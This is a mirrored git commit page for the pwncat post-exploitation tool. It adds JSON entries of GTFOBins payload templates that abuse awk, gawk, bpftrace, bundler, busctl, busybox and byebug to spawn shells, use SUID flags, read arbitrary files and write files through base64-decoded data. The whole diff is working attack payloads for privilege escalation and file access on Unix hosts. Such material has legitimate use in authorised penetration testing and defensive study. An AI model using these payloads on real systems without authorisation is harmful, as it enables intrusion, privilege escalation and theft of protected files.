1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Added more gtfobins!

This commit is contained in:
John Hammond 2020-05-09 21:40:37 -04:00
parent 2d65544b77
commit 64fc44bdae

View File

@ -60,7 +60,7 @@
{
"name": "awk",
"shell": {
"script": "{command} 'BEGIN {{system(\"/bin/sh\")}}'"
"script": "{command} 'BEGIN {{system(\"{shell}\")}}'"
},
"read_file": "{path} '//' {lfile}",
"write_file": {
@ -71,7 +71,7 @@
{
"name": "gawk",
"shell": {
"script": "{command} 'BEGIN {{system(\"/bin/sh\")}}'"
"script": "{command} 'BEGIN {{system(\"{shell}\")}}'"
},
"read_file": "{path} '//' {lfile}",
"write_file": {
@ -79,6 +79,60 @@
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ \"echo \\\"{data}\\\" | base64 -d\" | getline x ; print x > LFILE }}'"
}
},
{
"name": "base32",
"read_file": "{path} {lfile} | {path} -d"
},
{
"name": "base64",
"read_file": "{path} {lfile} | {path} -d"
},
{
"name": "bpftrace",
"shell": {
"script": "{command} -c {shell} -e 'END {{{{exit()}}}}'",
"suid": ["-p"]
}
},
{
"name": "bundler",
"shell": {
"script": "{command} help",
"input": "!{shell}\n",
"exit": "exit\nq\n"
}
},
{
"name": "busctl",
"shell": {
"script": "{command}",
"input": "!{shell}\n",
"exit": "exit\nq\n"
}
},
{
"name": "busybox",
"shell": {
"script": "{command} sh"
},
"read_file": "{path} -c \"cat {lfile}\"",
"write_file": {
"type": "base64",
"payload": "{path} -c \"echo -n {data} | base64 -d > {lfile}\""
}
},
{
"name": "byebug",
"shell": {
"script": "TF=$(mktemp);echo 'system(\"{shell}\")' > $TF;{command} $TF",
"input": "continue\n"
},
"read_file": "TF=$(mktemp);echo 'system(\"cat {lfile}\")' > $TF;{command} $TF",
"write_file": {
"type": "base64",
"payload": "TF=$(mktemp);echo 'system(\"echo {data} | base64 -d > {lfile}\")' > $TF;{command} $TF"
}
},
{
"name": "dash",
"shell": {